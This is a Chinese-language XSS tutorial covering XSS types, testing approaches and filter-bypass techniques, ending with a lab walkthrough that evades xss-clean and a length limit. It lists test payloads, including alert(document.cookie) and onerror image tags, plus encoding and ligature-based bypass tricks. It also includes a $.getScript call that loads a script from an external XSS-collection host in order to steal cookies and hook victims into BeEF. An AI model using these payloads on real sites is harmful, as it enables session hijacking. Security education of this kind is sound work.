XSS知识点和20字符短域名绕过
XSS的原理和分类
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表CSS(Cascading Style Sheets)重名,故缩写为XSS。
XSS属于被动式的攻击: 因为其被动且不好利用,所以许多人常呼略其危害性。
XSS漏洞的问题原因: 主要是由于开发人员对XSS了解不足,安全的意识不够造成的,因为没有对用户的输入进行一个合法的过滤或者没有过滤完善,导致用户把相应的恶意代码输入的了页面当中。
XSS攻击的主要目的: 想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。
预防措施: 防止下发界面显示html标签,把</>等符号转义。请记住两条原则:过滤输入和转义输出。
XSS漏洞分类
1.反射型XSS
反射型XSS的危害并不是那么大,因为反射型XSS不会插入数据库中,也并不持久,它只能运行一次就结束了。用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接,才能攻击成功。
2.DOM型
DOM-basedXSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如
document.getElementByld(“x’).innerHTML、document.write)等。
3.储存型
存储型XSS又叫持久型。一般而言,它三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。它的利用过程如图所示。
DOM型和反射型的区别
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。
DOM型:通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。
XSS漏洞查找方法
1. 黑盒测试
所谓黑盒测试, 就是在不知道系统的代码和运行状态的条件下,对系统进行的测试。在对XSS漏洞的检测中,我们可以模拟黑客的攻击手段,在所有可能的数据输入接口处,尝试 进行一些XSS注入。通过观察注入后的引用这些数据的页面,看其是否出现被注入的现象,即可确实是否存在XSS漏洞。比如我们可以用下面所列的一些脚本来 尝试XSS注入:
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(’XSS’)</script>
<imgsrc=/uploadfile/2015/0301/20150301105236644.png” nerror=”alert(’XSS’)”>
2. 静态分析
静态分析方法属于白盒测试方法的一种,它通过对Web应用的代码进行分析,从而发现其中可能存在的问题。
3. 数据流分析
XSS 之所以产生,根本原因在于不安全的数据流, 使得用户的输入数据被直接嵌入到某些页面中。比如PHP中的echo语句,就能够将一些数据直接添加为 HTML页面的一部分,如果这个数据是用户注入了XSS脚本的数据,则会导致产生XSS攻击。因此,数据流分析的主要思想就是使用一些模型或者工具,分析 Web应用程序代码中的数据传输情况,从而发现其中存在的问题。
常用的绕过方法
- 大小写绕过
- 双写绕过
<oonnmouseout>=alert(/xss/);
- 替换绕过
alert可用prompt,confirm,top['alert'](1)
()可用 ``代替
空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
字符ſ(ord=383)转为大写为S
- 编码绕过
url编码
html实体 t t 等
javascript字符编码 八进制\164 十六进制\x0074
- js的String.fromCharCode方法获得字符串 javascript
- 注释绕过
JavaScript注释 // /**/
html注释 <!-- --> <!-- --!>
- @符号绕过url限制http://test:test@www.baidu.com
- 宽字节绕过等…
20字符短域名绕过
首先在创建新相册名字的时候,我们先随意输出,
F12看到这里将他将刚刚输入的值传到了a标签里面
所以就看一下源文档,可以看出来他是直接输出URL的地址,并且看到了添加相册是后走的是add方法,并且过滤了两端的空格,还默认了必须填写,并且默认长度为45。并且使用了xss-clean
xss-clean:将一些符号过滤成为一些实体,并将一些关键字进行了过滤,
因为说到这个过滤了很多标签,所以我们先将xss-clean删掉,然后再创建名称出填写:< script >标签。
回到目录页面的时候他会出现弹窗,是因为他在创建的时候已经入库了,所以每一次进入的时候,他都是访问的。
这里就说明可以使用js代码。
所以我么为了获取到对方的cookie,我们来尝试使用>$.getScript(“//trlsm.xss.ht”),
但是从图片可以看到我们使用最短的绕过方式,他也是字节太长,所以我们就是要修改这个的长度,
在源码当中我们规定的最长字符长度是:35
虽然xss-clean过滤了很多标签,但是他还没有过滤掉< svg >标签,所以我们使用< svg>标签进行一个测试。
也就是可以找到一个svg的标签,来进行绕过。
但是这些个必备的命令已经有29个字符了,所以只能将域名缩短。
但是短域名的方式来实现,说以这里有一个知识点:
用短字符来绕过字符限制:这种的话比如说tel正常是3个字节,但是写成这样后℡,他会把他当成是一个字节来用。所以这样就尽可能的为我们节省了字符长度。
ff expands to ff
℠ expands to sm
㏛ expands to sr
st expands to st
㎭ expands to rad
℡ expands to tel
然后我尝试了用老师的域名来弄,但是因为没有文件什么的,也不能修改外网ip为本机的,然后我有没有自己的域名,所以我只能尝试放宽字符限制长度使用ip进行测试。可以看见beef上出现了。